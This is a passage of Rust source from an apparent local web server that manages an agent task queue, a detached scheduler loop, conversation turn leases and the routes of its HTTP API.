940    upgrade_runner: UpgradeRunner,
941    /// Runs this process is resuming right now.
942    ///
943    /// Separate from `talk_turns` because a run and a talk are different
944    /// things to hold, and a resume is far more expensive to start twice: it
945    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
946    /// guards two taps and two phones, which is this process's own
947    /// concurrency.
948    resuming: Arc<Mutex<HashSet<String>>>,
949    /// The last scan of `[repos] roots`, and when it happened. Shared across
950    /// requests so polling `GET /api/repos` repeatedly does not repeat the
951    /// filesystem walk every time - see [`repos::Cache`].
952    repos_cache: repos::Cache,
953    /// The machine-config file the settings screen reads and writes: always
954    /// [`Config::machine_layer`], never anything a request names. A field so a
955    /// test can point it at its own temp directory instead of the operator's.
956    machine_config: Option<PathBuf>,
957    /// Merge mode override handed to the loop this process starts.
958    merge: Option<String>,
959    /// Local request revision and errors; execution belongs to detached workers.
960    looping: Arc<Mutex<LoopState>>,
961    /// Isolated route-test scheduler; never compiled into production.
962    #[cfg(test)]
963    launch: Launch,
964    /// A test-only stop point inside `talk_say`'s busy branch. See
965    /// [`BusyQueueGate`].
966    #[cfg(test)]
967    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
968    pub(crate) monitor: Arc<SharedMonitor>,
969}
970
971type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
972
973/// A one-shot stop point the busy branch's queued-draft write can be made to
974/// pause at, right before [`talk::queue`] runs.
975///
976/// Exists because a test cannot otherwise pin *when*, relative to the turn
977/// slot being freed, that write happens: `blocking` runs it on
978/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
979/// already finished, so counting polls on the handler future to park it at a
980/// particular `.await` is a guess about scheduling, not a fact about it - see
981/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
982/// used to do exactly that and paid for it with an occasional "async fn
983/// resumed after completion" panic under load.
984///
985/// `reached` fires the instant the write is about to run, so a test waits for
986/// a real event instead of a poll count. `release` then blocks the write
987/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
988/// rather than an async channel because this all happens inside the
989/// `spawn_blocking` closure the write already runs on, off any runtime
990/// worker, so blocking here costs nothing the write was not already going to
991/// cost.
992#[cfg(test)]
993struct BusyQueueGate {
994    reached: tokio::sync::oneshot::Sender<()>,
995    release: std::sync::mpsc::Receiver<()>,
996}
997
998#[cfg(test)]
999impl std::fmt::Debug for BusyQueueGate {
1000    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
1001        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
1002    }
1003}
1004
1005impl Ui {
1006    /// A server over explicit paths.
1007    pub fn new(
1008        queue: Queue,
1009        questions: Questions,
1010        talks: Talks,
1011        runs: PathBuf,
1012        home: PathBuf,
1013        repo: PathBuf,
1014    ) -> Self {
1015        Self {
1016            queue,
1017            questions,
1018            notices: Notices::at(home.join("notifications")),
1019            talks,
1020            runs,
1021            references: Arc::default(),
1022            home,
1023            repo,
1024            // The default location, overridden by `with_worktrees_root` - a
1025            // builder step rather than a ninth parameter, for the reason
1026            // `with_merge` gives.
1027            worktrees_root: run::default_worktree_root(),
1028            talk_turns: Arc::default(),
1029            admissions: Arc::default(),
1030            upgrade_gate: Arc::default(),
1031            upgrade_spawned: Arc::default(),
1032            upgrade_request_error: Arc::default(),
1033            auto_failed_tag: Arc::default(),
1034            upgrade_runner: |home| Box::pin(upgrade_and_restart(home)),
1035            resuming: Arc::default(),
1036            repos_cache: repos::Cache::new(),
1037            machine_config: Config::machine_layer(),
1038            merge: None,
1039            looping: Arc::default(),
1040            #[cfg(test)]
1041            launch: launch_daemon,
1042            #[cfg(test)]
1043            busy_queue_gate: Arc::default(),
1044            monitor: Arc::new(SharedMonitor::new()),
1045        }
1046    }
1047
1048    /// Refresh metadata on every lookup, including external-process writes. Only
1049    /// changed records are parsed. Never publish a partial scan as an empty set.
1050    fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
1051        let mut index = self
1052            .monitor
1053            .queue_index
1054            .lock()
1055            .unwrap_or_else(PoisonError::into_inner);
1056        let entries = match std::fs::read_dir(self.queue.root()) {
1057            Ok(entries) => entries,
1058            Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
1059                index.records.clear();
1060                return Ok(Vec::new());
1061            }
1062            Err(e) => return Err(anyhow::Error::from(e).into()),
1063        };
1064        let mut seen = HashSet::new();
1065        for entry in entries {
1066            let path = entry.map_err(anyhow::Error::from)?.path();
1067            if path.extension().is_none_or(|ext| ext != "json") {
1068                continue;
1069            }
1070            let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
1071                continue;
1072            };
1073            let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
1074            seen.insert(id.to_owned());
1075            // On platforms without inode/ctime, re-read rather than trust a
1076            // same-size replacement with a preserved modification timestamp.
1077            if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
1078                let Ok(task) = self.queue.get(id) else {
1079                    // Isolate an unreadable record, as Queue::list does. Keep
1080                    // its last known relationship so a lookup of THAT task
1081                    // still fails on the authoritative read below. Never let
1082                    // unrelated corruption disable every run and conversation.
1083                    // Counts must not present its previous status as current.
1084                    if let Some((_, record)) = index.records.get_mut(id) {
1085                        Arc::make_mut(record).status = None;
1086                    }
1087                    continue;
1088                };
1089                #[cfg(test)]
1090                {
1091                    index.reparsed += 1;
1092                }
1093                if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
1094                    return Err(ApiError::conflict("Queue changed during read; retry"));
1095                }
1096                index
1097                    .records
1098                    .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
1099            }
1100        }
1101        index.records.retain(|id, _| seen.contains(id));
1102        let mut tasks: Vec<_> = index
1103            .records
1104            .values()
1105            .map(|(_, task)| task.clone())
1106            .collect();
1107        tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
1108        Ok(tasks)
1109    }
1110
1111    fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
1112        let Some(record) = self
1113            .indexed_tasks()?
1114            .into_iter()
1115            .find(|task| task.runs.iter().any(|id| id == run_id))
1116        else {
1117            return Ok(None);
1118        };
1119        let task = self.queue.get(&record.id)?;
1120        if !task.runs.iter().any(|id| id == run_id) {
1121            return Err(ApiError::conflict("Task relationship changed; retry"));
1122        }
1123        Ok(Some(task))
1124    }
1125
1126    fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
1127        self.indexed_tasks()?
1128            .into_iter()
1129            .filter(|task| {
1130                task.chat.as_deref() == Some(talk_id)
1131                    || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1132            })
1133            .map(|record| {
1134                let task = self.queue.get(&record.id)?;
1135                if task.chat.as_deref() != Some(talk_id)
1136                    && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1137                {
1138                    return Err(ApiError::conflict("Task relationship changed; retry"));
1139                }
1140                Ok(task)
1141            })
1142            .collect()
1143    }
1144
1145    /// The operator's own state: `<home>/queue`, `<home>/questions`,
1146    /// `<home>/talks`, `<home>/runs`.
1147    pub fn open(repo: PathBuf) -> Self {
1148        Self::new(
1149            Queue::open(),
1150            Questions::open(),
1151            Talks::open(),
1152            run::runs_root(),
1153            run::home(),
1154            repo,
1155        )
1156    }
1157
1158    /// The merge mode the loop should use, as the command line gave it.
1159    ///
1160    /// A builder step rather than a seventh parameter on [`Ui::new`], because
1161    /// the override is a property of how this process was invoked and not of
1162    /// where its state lives - which is all the tests that build a `Ui` by
1163    /// hand are saying.
1164    #[must_use]
1165    pub fn with_merge(mut self, merge: Option<String>) -> Self {
1166        self.merge = merge;
1167        self
1168    }
1169
1170    /// The machine-config file the settings screen writes, when it is not
1171    /// [`Config::machine_layer`] (tests).
1172    #[cfg(test)]
1173    #[must_use]
1174    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
1175        self.machine_config = path;
1176        self
1177    }
1178
1179    /// Where the runs' worktrees live, when it is not the default.
1180    ///
1181    /// The health view sizes this directory, so a test that leaves it at the
1182    /// default would be measuring the operator's own machine.
1183    #[must_use]
1184    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
1185        self.worktrees_root = root;
1186        self
1187    }
1188
1189    /// Point the loop at something other than [`launch_daemon`].
1190    ///
1191    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
1192    /// this crate may start the real loop.
1193    #[cfg(test)]
1194    #[must_use]
1195    fn with_launch(mut self, launch: Launch) -> Self {
1196        self.launch = launch;
1197        self
1198    }
1199
1200    /// Install a [`BusyQueueGate`] for the next pass through the busy
1201    /// branch's queued-draft write, replacing any earlier one.
1202    ///
1203    /// A setter on `&self` rather than a `with_*` builder consumed once,
1204    /// because a test that drives the busy branch more than once (as
1205    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
1206    /// to build confidence the interleaving is handled deterministically and
1207    /// not just on a lucky run) needs a fresh channel pair each time, on the
1208    /// one `Ui` it already built its temp directories around.
1209    #[cfg(test)]
1210    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
1211        *self
1212            .busy_queue_gate
1213            .lock()
1214            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
1215    }
1216
1217    /// Prevent a restart from ending an already accepted send between its
1218    /// durable transcript write and detached worker reservation.
1219    fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
1220        let guard = Arc::clone(&self.admissions)
1221            .try_read_owned()
1222            .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
1223        if *guard {
1224            return Err(ApiError::conflict(
1225                "web restart in progress; retry this message",
1226            ));
1227        }
1228        Ok(guard)
1229    }
1230
1231    /// Start a scheduler that outlives this web process.
1232    async fn start_detached_loop(&self) -> ApiResult<()> {
1233        if self
1234            .upgrade_spawned
1235            .load(std::sync::atomic::Ordering::SeqCst)
1236        {
1237            return Err(ApiError::conflict("an upgrade is in progress"));
1238        }
1239        let reading = daemon::read_status(&self.home);
1240        if let Some(other) = Foreign::of(reading.as_ref()) {
1241            return Err(ApiError::conflict(format!(
1242                "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
1243                other.who()
1244            )));
1245        }
1246        let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
1247        let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
1248        let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1249            || reading.is_some_and(|reading| {
1250                reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1251            });
1252        if control.is_some() && scheduler_running {
1253            return Err(ApiError::conflict(
1254                "the scheduler is still stopping; retry Start after it has stopped",
1255            ));
1256        }
1257        if !jobs.iter().any(|job| job.kind == "scheduler") {
1258            let available =
1259                crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1260            if available.is_none() {
1261                return Err(ApiError::conflict(
1262                    "the scheduler is still running or stopping; retry after its transition completes",
1263                ));
1264            }
1265            drop(available);
1266        }
1267        let opts = daemon::Opts {
1268            repo: self.repo.clone(),
1269            merge: self.merge.clone(),
1270            worktrees_root: Some(self.worktrees_root.clone()),
1271            ..daemon::Opts::default()
1272        };
1273        daemon::spawn_detached(&self.home, &opts)
1274            .await
1275            .map_err(ApiError::from)?;
1276        let mut state = self.lock_loop();
1277        state.last_error = None;
1278        state.rev += 1;
1279        Ok(())
1280    }
1281
1282    /// Start the loop in this process, or say who already has one.
1283    ///
1284    /// `foreign` is passed in rather than read here so that one request makes
1285    /// one judgement about who owns the loop: reading the status file again
1286    /// inside this function could refuse a start for a daemon the same
1287    /// response then reports as gone.
1288    #[cfg(test)]
1289    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1290        if let Some(other) = foreign {
1291            return Err(ApiError::conflict(format!(
1292                "{} is already running the loop, so this one will not start a \
1293                 second: two loops on one queue race for the same claims and \
1294                 burn the agent quota twice over. Stop it where it was \
1295                 started.",
1296                other.who()
1297            )));
1298        }
1299        let mut state = self.lock_loop();
1300        if self
1301            .upgrade_spawned
1302            .load(std::sync::atomic::Ordering::SeqCst)
1303        {
1304            return Err(ApiError::conflict("an upgrade is in progress"));
1305        }
1306        if state.live.as_ref().is_some_and(Live::alive) {
1307            return Err(ApiError::conflict(format!(
1308                "this magi web process (pid {}) is already running the loop",
1309                std::process::id()
1310            )));
1311        }
1312
1313        let stop = daemon::Stop::new();
1314        // The CLI's own defaults for everything the UI has no opinion about:
1315        // one poll interval and one retry budget, so a loop started from a
1316        // phone behaves exactly like the `magi serve` it replaces.
1317        let opts = daemon::Opts {
1318            repo: self.repo.clone(),
1319            merge: self.merge.clone(),
1320            // Whatever this `Ui` already reports worktree sizes and folds
1321            // against (see `with_worktrees_root`) is what the loop it starts
1322            // must reclaim orphaned worktrees under too - two different
1323            // opinions about where the worktree bay is would leave the
1324            // janitor pass reclaiming a directory nothing else on this
1325            // process is even looking at.
1326            worktrees_root: Some(self.worktrees_root.clone()),
1327            ..daemon::Opts::default()
1328        };
1329        let launch = self.launch;
1330        let looping = Arc::clone(&self.looping);
1331        let handle = tokio::spawn({
1332            let opts = opts.clone();
1333            let stop = stop.clone();
1334            async move {
1335                let failure = match launch(opts, stop).await {
1336                    Ok(()) => None,
1337                    Err(e) => Some(format!("{e:#}")),
1338                };
1339                match &failure {
1340                    Some(why) => tracing::error!("the loop stopped: {why}"),
1341                    None => tracing::info!("the loop stopped"),
1342                }
1343                // Recorded by the task itself rather than reaped by whichever
1344                // request happens next, so `loop_rev` moves the moment the
1345                // loop ends and a phone with the change stream open learns
1346                // that it did. Clearing `live` drops this task's own handle,
1347                // which only detaches it, and is the last thing it does.
1348                let mut state = lock_or_recover(&looping);
1349                state.live = None;
1350                state.last_error = failure;
1351                state.rev += 1;
1352            }
1353        });
1354        tracing::info!(
1355            "the loop is now running in this process: repo {}, merge {}",
1356            opts.repo.display(),
1357            opts.merge.as_deref().unwrap_or("as the config says")
1358        );
1359        state.live = Some(Live { stop, handle, opts });
1360        // A fresh start is not the place to keep showing why the last one
1361        // died; the operator has read it and pressed the button anyway.
1362        state.last_error = None;
1363        state.rev += 1;
1364        Ok(())
1365    }
1366
1367    /// Ask the loop to stop, without waiting for it to get there.
1368    ///
1369    /// Idempotent: a second tap on stop is not an error, because the first one
1370    /// leaves the loop running for as long as the run in flight takes and the
1371    /// operator has no way to tell a slow stop from a lost one.
1372    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1373        if let Some(other) = foreign {
1374            return Err(ApiError::conflict(format!(
1375                "the loop belongs to {}, and this process cannot stop it - \
1376                 stop it where it was started. A button that silently did \
1377                 nothing would be worse than this refusal.",
1378                other.who()
1379            )));
1380        }
1381        #[cfg(not(test))]
1382        {
1383            daemon::request_control(
1384                &self.home,
1385                if park {
1386                    crate::worker::Control::Park
1387                } else {
1388                    crate::worker::Control::Stop
1389                },
1390            )
1391            .map_err(ApiError::from)?;
1392            self.lock_loop().rev += 1;
1393            Ok(())
1394        }
1395        #[cfg(test)]
1396        {
1397            let mut state = self.lock_loop();
1398            let Some(live) = state.live.as_ref() else {
1399                return Ok(());
1400            };
1401            // A park upgrades a stop that has already been asked for: the
1402            // operator who tapped "stop" and then realised the run has an hour
1403            // left must not have to restart the loop to change their mind.
1404            if live.stop.stopped() && (!park || live.stop.parking()) {
1405                return Ok(());
1406            }
1407            if park {
1408                live.stop.park(crate::run::ParkCause::Operator);
1409                tracing::info!(
1410                    "the loop was asked to park; the run stops at its next node boundary"
1411                );
1412            } else {
1413                live.stop.stop();
1414                tracing::info!("the loop was asked to stop; a run in flight is finished first");
1415            }
1416            state.rev += 1;
1417            Ok(())
1418        }
1419    }
1420
1421    /// The loop as both `/api/loop` and `/api/health` report it.
1422    ///
1423    /// `reading` is the caller's single read of `<home>/daemon.json`, because
1424    /// health answers with this view *and* the daemon object beside it: one
1425    /// read per response is what stops a single answer naming a foreign owner
1426    /// in one field and calling the loop free in the other.
1427    #[cfg(not(test))]
1428    fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1429        let jobs = crate::worker::active(&self.home).map_err(|error| {
1430            ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1431        })?;
1432        Ok(self.runtime_loop_view(reading, &jobs))
1433    }
1434
1435    #[cfg(test)]
1436    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1437        let state = self.lock_loop();
1438        // A loop that panicked never recorded its own end, so the handle -
1439        // not the presence of the record - is what "running" means.
1440        let live = state.live.as_ref().filter(|live| live.alive());
1441        LoopView {
1442            running: live.is_some(),
1443            stopping: live.is_some_and(|live| live.stop.finishing()),
1444            parking: live.is_some_and(|live| live.stop.parking()),
1445            owned: live.is_some(),
1446            repo: live
1447                .map_or(&self.repo, |live| &live.opts.repo)
1448                .display()
1449                .to_string(),
1450            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1451            last_error: state.last_error.clone(),
1452            daemon: DaemonView::of(reading),
1453        }
1454    }
1455
1456    /// Reuse one active-job snapshot for both ownership and public health.
1457    fn runtime_loop_view(
1458        &self,
1459        reading: Option<daemon::Reading>,
1460        jobs: &[crate::worker::Job],
1461    ) -> LoopView {
1462        let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1463        let reporting = reading
1464            .as_ref()
1465            .is_some_and(|r| r.running(Timestamp::now()));
1466        let managed = scheduler.is_some()
1467            || (reporting
1468                && reading
1469                    .as_ref()
1470                    .is_some_and(|r| r.worker_protocol == Some(1)));
1471        let control = crate::worker::control(&self.home, "scheduler")
1472            .ok()
1473            .flatten();
1474        // Foreground serve also persists its options, so ownership never
1475        // causes us to substitute the web process's repository for its own.
1476        let persisted = if managed && scheduler.is_none() {
1477            std::fs::read(self.home.join("scheduler-options.json"))
1478                .ok()
1479                .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1480        } else {
1481            None
1482        };
1483        let repo = scheduler
1484            .and_then(|job| job.payload.get("repo"))
1485            .and_then(serde_json::Value::as_str)
1486            .map(str::to_owned)
1487            .or_else(|| {
1488                persisted
1489                    .as_ref()
1490                    .map(|opts| opts.repo.display().to_string())
1491            })
1492            .unwrap_or_else(|| self.repo.display().to_string());
1493        let merge = match scheduler {
1494            Some(job) => job
1495                .payload
1496                .get("merge")
1497                .and_then(serde_json::Value::as_str)
1498                .map(str::to_owned),
1499            None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1500        };
1501        LoopView {
1502            running: managed || reporting,
1503            stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1504            parking: matches!(control, Some(crate::worker::Control::Park))
1505                && jobs.iter().any(|job| job.kind == "task"),
1506            owned: managed,
1507            repo,
1508            merge,
1509            last_error: self.lock_loop().last_error.clone(),
1510            daemon: DaemonView::of(reading),
1511        }
1512    }
1513
1514    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
1515    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1516        lock_or_recover(&self.looping)
1517    }
1518
1519    /// In-flight admission, detached startup, or a cross-process turn lease.
1520    fn is_thinking(&self, id: &str) -> bool {
1521        self.talk_turns
1522            .lock()
1523            .is_ok_and(|turns| turns.live.contains(id))
1524            // Another process (the CLI) can hold the turn through the
1525            // on-disk lease.
1526            || self.talks.turn_held(id)
1527            || crate::chat_worker::turn_worker_active(&self.talks, id)
1528    }
1529
1530    /// 表示専用の観測。ローカルの受付処理やワーカーストアの書き込みを待たない。
1531    /// 送信などの判断には [`Ui::is_thinking`] を使う。
1532    fn is_thinking_observed(&self, id: &str) -> bool {
1533        self.talk_turns.try_lock().map_or_else(
1534            // Admission may itself be waiting on the worker store. Display a
1535            // conservative busy state rather than waiting behind that writer.
1536            |error| matches!(error, std::sync::TryLockError::WouldBlock),
1537            |turns| turns.live.contains(id),
1538        )
1539            // Another process (the CLI) can hold the turn through the
1540            // on-disk lease.
1541            || self.talks.turn_held(id)
1542            || crate::consult::turn_worker_observed(&self.talks, id)
1543    }
1544
1545    /// Claim the right to run one turn in a talk, or report that it is busy.
1546    ///
1547    /// A talk is strictly turn-based: the agent is resumed with the
1548    /// conversation it already has, so two turns running at once would resume
1549    /// the same session twice and append their answers in whatever order the
1550    /// two CLIs finished in. The operator would come back to a transcript
1551    /// with two half-turns interleaved, which is unreadable and, worse,
1552    /// unfixable - there is no undo for a persisted turn.
1553    ///
1554    /// A busy result is queued as a durable draft by [`talk_say`], rather than
1555    /// starting a second CLI invocation for the same session.
1556    ///
1557    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
1558    /// taken to test-and-insert and released before the agent is spawned. The
1559    /// returned guard removes the id on drop, which is what makes a panicking
1560    /// handler or a phone that walks out of range leave the talk usable - axum
1561    /// drops the handler future when the client disconnects, and without the
1562    /// guard that talk would be wedged until the server restarted.
1563    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1564        self.claim_talk_turn(id, false)
1565    }
1566
1567    /// Claim a turn after durably queueing a draft, or notify its current
1568    /// owner that a drainer must recheck before it releases the slot.
1569    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1570        self.claim_talk_turn(id, true)
1571    }
1572
1573    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1574        let mut live = self
1575            .talk_turns
1576            .lock()
1577            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1578        if crate::chat_worker::turn_worker_active(&self.talks, id) {
1579            if queued {
1580                *live.queued.entry(id.to_owned()).or_default() += 1;
1581            }
1582            return Ok(None);
1583        }
1584        let inserted = live.live.insert(id.to_owned());
1585        // The on-disk lease is the cross-process half of the gate. Taken
1586        // second, and undone if lost, so `live` never claims a turn the lease
1587        // refused.
1588        let lease = if inserted {
1589            match self.talks.claim_turn(id) {
1590                Ok(Some(lease)) => Some(lease),
1591                Ok(None) => {
1592                    live.live.remove(id);
1593                    None
1594                }
1595                Err(e) => {
1596                    live.live.remove(id);
1597                    return Err(ApiError::from(e));
1598                }
1599            }
1600        } else {
1601            None
1602        };
1603        if lease.is_none() {
1604            if queued {
1605                // A queued write has landed before this busy check.
1606                // `drain_loop` uses this generation to recheck after its
1607                // off-thread disk read, so it cannot release a turn between
1608                // this check and the write.
1609                *live.queued.entry(id.to_owned()).or_default() += 1;
1610            }
1611            return Ok(None);
1612        }
1613        Ok(Some(TalkTurnGuard {
1614            talk: id.to_owned(),
1615            turns: Arc::clone(&self.talk_turns),
1616            released: false,
1617            lease,
1618        }))
1619    }
1620
1621    /// Decide whether a free talk may start a new immediate turn while its
1622    /// claim lock is held. A persisted draft without an owner is recovery
1623    /// state, not a busy turn: two simultaneous `/say` requests must both
1624    /// leave it untouched rather than one of them appending to it.
1625    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1626        let mut live = self
1627            .talk_turns
1628            .lock()
1629            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1630        // A detached worker owns its turn across web process replacement.
1631        if live.live.contains(id) || crate::chat_worker::turn_worker_active(&self.talks, id) {
1632            return Ok(TalkTurnStart::Busy);
1633        }
1634        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1635            return Ok(TalkTurnStart::Foreign);
1636        };
1637        // A refused `Pending` below drops the lease again.
1638        let talk = self.talks.get(id).map_err(ApiError::from)?;
1639        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1640            return Ok(TalkTurnStart::Pending);
1641        }
1642        live.live.insert(id.to_owned());
1643        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1644            talk: id.to_owned(),
1645            turns: Arc::clone(&self.talk_turns),
1646            released: false,
1647            lease: Some(lease),
1648        }))
1649    }
1650
1651    fn queued_generation(&self, id: &str) -> u64 {
1652        let live = self
1653            .talk_turns
1654            .lock()
1655            .unwrap_or_else(PoisonError::into_inner);
1656        live.queued.get(id).copied().unwrap_or(0)
1657    }
1658
1659    /// Claim a run for a resume, on the same reasoning as
1660    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
1661    /// disconnected phone does not wedge the run until the server restarts.
1662    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1663        let mut live = self
1664            .resuming
1665            .lock()
1666            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1667        if self
1668            .upgrade_spawned
1669            .load(std::sync::atomic::Ordering::SeqCst)
1670        {
1671            return Err(ApiError::conflict("an upgrade is in progress"));
1672        }
1673        if !live.insert(id.to_owned()) {
1674            return Err(ApiError::conflict(format!(
1675                "run {id} is already being resumed"
1676            )));
1677        }
1678        Ok(ResumeGuard {
1679            run: id.to_owned(),
1680            resuming: Arc::clone(&self.resuming),
1681        })
1682    }
1683
1684    /// The router, with this state baked in.
1685    ///
1686    /// The three front-end files get one explicit route each rather than a
1687    /// path parameter, so there is no traversal surface to get wrong: the set
1688    /// of servable paths is the set written here. The asset route below is the
1689    /// one exception and the only place in this server where a client names a
1690    /// file; it is why [`valid_asset_name`] is checked before a path is built.
1691    pub fn router(self) -> Router {
1692        Arc::new(self).shared_router()
1693    }
1694
1695    fn shared_router(self: Arc<Self>) -> Router {
1696        Router::new()
1697            .route("/", get(index))
1698            .route("/app.css", get(app_css))
1699            .route("/app.js", get(app_js))
1700            .route("/api/health", get(health))
1701            .route("/api/references", post(id_links::resolve_text))
1702            .route("/api/loop", get(loop_get).post(loop_post))
1703            .route("/api/upgrade", post(upgrade_post))
1704            .route("/api/runs", get(runs_list))
1705            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1706            .route("/api/runs/{id}/progress", get(run_progress))
1707            .route("/api/runs/{id}/core", get(run_core))
1708            .route("/api/runs/{id}/report", get(run_report))
1709            .route("/api/runs/{id}/report.json", get(run_report_json))
1710            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1711            .route("/api/runs/{id}/seat-evidence", get(run_seat_evidence))
1712            .route("/api/runs/{id}/seat-evidence/{head}", get(run_seat_diff))
1713            .route("/api/runs/{id}/fold", post(run_fold))
1714            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1715            .route("/api/runs/{id}/resume", post(run_resume))
1716            .route("/api/queue", get(queue_list))
1717            .route("/api/queue/page", get(queue_page))
1718            .route("/api/search", get(search_get))
1719            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1720            .route("/api/queue/{id}/core", get(task_core))
1721            .route("/api/stats", get(stats_get))
1722            .route("/api/stats/queue", get(stats_queue))
1723            .route("/api/repos", get(repos_list))
1724            .route("/api/settings", get(settings_get))
1725            .route("/api/settings/roles", put(settings_put_roles))
1726            .route("/api/queue/{id}/hold", post(queue_hold))
1727            .route("/api/queue/{id}/reassign", post(queue_reassign))
1728            .route("/api/queue/{id}/release", post(queue_release))
1729            .route("/api/queue/{id}/priority", post(queue_priority))
1730            .route("/api/queue/{id}/urgent", post(queue_urgent))
1731            .route("/api/queue/{id}/immediate", post(queue_immediate))
1732            .route("/api/queue/{id}/implementers", post(queue_implementers))
1733            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1734            .route("/api/queue/{id}/edit", post(queue_edit))
1735            .route("/api/queue/{id}/done", post(queue_done))
1736            .route("/api/queue/{id}/reopen", post(queue_reopen))
1737            .route("/api/decisions", get(decisions_list))
1738            .route("/api/decisions/{id}", get(decision_get))
1739            .route("/api/questions", get(questions_list))
1740            .route("/api/questions/core", get(questions_core))
1741            .route("/api/questions/origins", get(question_origins))
1742            .route("/api/questions/{id}/answer", post(question_answer))
1743            .route("/api/questions/{id}/say", post(question_say))
1744            .route("/api/questions/{id}/consult", post(question_consult))
1745            .route("/api/questions/{id}/panel", get(question_panel))
1746            // The same asset, reachable from inside the panel by its bare
1747            // filename. A document served at `.../panel` resolves `shot.png`
1748            // to `.../shot.png`, which is not the asset route, so a panel
1749            // written the way its author was told to write it showed broken
1750            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
1751            // it - deliberately - so the fix is that the panel's own URL ends
1752            // in a filename and its siblings are the assets.
1753            .route("/api/questions/{id}/panel/index.html", get(question_panel))
1754            .route("/api/questions/{id}/panel/{name}", get(question_asset))
1755            .route("/api/questions/{id}/asset/{name}", get(question_asset))
1756            .route("/api/notifications", get(notifications_list))
1757            .route("/api/notifications/read-all", post(notifications_read_all))
1758            .route("/api/notifications/{id}/read", post(notification_read))
1759            .route(
1760                "/api/notifications/{id}/dismiss",
1761                post(notification_dismiss),
1762            )
1763            .route("/api/talks", get(talks_list).post(talk_post))
1764            .route("/api/talks/page", get(talks_page))
1765            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1766            .route("/api/talks/{id}/core", get(talk_core))
1767            .route("/api/talks/{id}/sections", get(talk_sections))
1768            .route("/api/talks/{id}/say", post(talk_say))
1769            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1770            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1771            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1772            .route("/api/talks/{id}/agent", post(talk_agent))
1773            .route("/api/talks/{id}/persona", post(talk_persona))
1774            .route("/api/talks/{id}/implementers", post(talk_implementers))
1775            .route("/api/talks/{id}/close", post(talk_close))
1776            .route("/api/talks/{id}/reopen", post(talk_reopen))
1777            // `DefaultBodyLimit` is raised only on this one route - every
1778            // other route on this server answers in a few kilobytes, and
1779            // widening the crate-wide default for all of them just because
1780            // one accepts a picture would let any other handler be handed
1781            // a multi-megabyte body it never expects.
1782            .route(
1783                "/api/talks/{id}/attachments",
1784                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
